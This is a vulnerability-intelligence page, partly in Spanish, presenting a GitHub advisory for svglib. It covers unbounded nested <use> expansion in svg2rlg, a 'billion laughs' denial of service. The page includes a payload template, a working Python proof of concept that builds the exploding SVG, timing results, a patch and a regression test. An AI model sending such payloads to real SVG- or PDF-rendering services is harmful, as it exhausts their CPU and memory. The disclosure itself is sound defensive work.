llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · svglib

GHSA-555J-QJ3J-C8JV

svglib: Exponential resource consumption via nested <use> references in svg2rlg

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -29 d de la divulgación
Exposición22 hDesde la divulgación, 20 nov 2026, 6:47 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Si sale un exploit, la subo de categoría. Atento.Como dice el refrán: más vale prevenir que restaurar backups.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 2.3.1
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
22 oct 26
18 nov 26
20 nov 26
21 nov 26
22 oct 26
30 oct 26
6 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.3.1 svglib · -29 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-555J-QJ3J-C8JV divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`svg2rlg()` expands `<use>` references without any limit on the total number of expansions. Only direct cycles are rejected (`CircularRefError`). A group containing N `<use>` elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.

This is the SVG `<use>` variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446).

Details

`SvgRenderer.renderUse()` in `src/svglib/svglib.py`:

try:
    item = self.xlink_href_target(node, group=group)
except CircularRefError:
    node.parent.etree_element.remove(node.etree_element)
    return group
...
if len(node.getchildren()) == 0:
    # Append a copy of the referenced node as the <use> child (if not
    # already done)
    node.append(copy.deepcopy(item))
self.renderNode(list(node.iter_children())[-1], parent=group)

The referenced node is deep-copied under the `<use>` element and rendered. Any `<use>` elements inside the copied subtree go through `renderUse()` again. `xlink_href_target()` raises `CircularRefError` only for a direct cycle, so a reference DAG with fan-out is expanded fully: `fan ** levels` renders.

Payload shape (fan = 10, levels = 5):

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
  <defs>
    <rect id="l0" width="1" height="1"/>
    <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
    <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
    ...
    <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
  </defs>
  <use xlink:href="#l5"/>
</svg>

Impact

Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.

The same happens through `xhtml2pdf`, which depends on svglib to render SVG images. An HTML document containing `<img src="data:image/svg+xml;base64,...">` passed to `pisa.CreatePDF()` triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.

Reproduction

Minimal local PoC, non-destructive:

import io, time
from svglib.svglib import svg2rlg

def make(levels, fan=10):
    parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
             '<rect id="l0" width="1" height="1"/>']
    for i in range(1, levels + 1):
        parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
    parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
    return "".join(parts).encode()

for levels in (3, 4, 5):
    data = make(levels)
    t = time.time()
    svg2rlg(io.BytesIO(data))
    print(levels, len(data), f"{time.time() - t:.1f}s")

Result on svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS:

| levels | SVG size | time | peak RSS |
|---|---|---|---|
| 3 | 919 B | 0.3 s | 42 MiB |
| 4 | 1164 B | 2.9 s | 83 MiB |
| 5 | 1409 B | 34 s | 469 MiB |

svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).

Through xhtml2pdf 0.2.23 with the same SVG embedded as a `data:` URI `<img>`:

| levels | HTML size | time | peak RSS |
|---|---|---|---|
| 4 | 1626 B | 6.9 s | 133 MiB |
| 5 | 1954 B | 78.7 s | 499 MiB |

Suggested fix

Count `<use>` expansions per document and stop expanding beyond a fixed limit:

@@ src/svglib/svglib.py
 # A sentinel to identify a situation where a node reference a fragment not yet defined.
 DELAYED = object()
 
+# Upper bound on the number of <use> elements expanded while rendering one document.
+# Nested <use> references multiply (a few hundred bytes can expand to millions of
+# nodes), so rendering stops expanding <use> elements beyond this limit.
+MAX_USE_EXPANSIONS = 10_000
+
@@ class SvgRenderer:
         self._external_svgs: dict[str, ExternalSVG] = {}
+        self._use_expansions = 0
         self.attrConverter.css_rules = CSSMatcher()
@@ def renderUse(
         if group is None:
             group = Group()
 
+        self._use_expansions += 1
+        if self._use_expansions > MAX_USE_EXPANSIONS:
+            if self._use_expansions == MAX_USE_EXPANSIONS + 1:
+                logger.error(
+                    "Too many <use> expansions (limit is %d), skipping the rest",
+                    MAX_USE_EXPANSIONS,
+                )
+            return group
+
         try:
             item = self.xlink_href_target(node, group=group)

With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 `<use>` elements is far above what normal documents (icon sprites, symbol libraries) need.

Regression test

A regression test `TestUseNode::test_use_nested_expansion_is_bounded` in `tests/test_basic.py` renders the 5-level payload and asserts it finishes within 10 seconds.

  • Without fix: test fails (30.9 s).
  • With fix: test passes (1.8 s).

`python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` → 190 passed, 4 skipped. No regressions.

I'm happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory.

Affected versions

`<= 2.3.0` (verified on 2.3.0 and 1.5.1)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
svglib< 2.3.1
2.3.1
2.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypisvglib
Corregida 2.3.1 -29 d 2.4.0 no afectada
Versiones corregidas2.3.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-132275
Otrahttps://github.com/deeplook/svglib/security/advisories/GHSA-555j-qj3j-c8jv
Otrahttps://github.com/deeplook/svglib/commit/7380d3c3836940fd75f8e203fff80077b7d5a425
Otrahttps://github.com/deeplook/svglib
Otrahttps://github.com/deeplook/svglib/releases/tag/v2.3.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.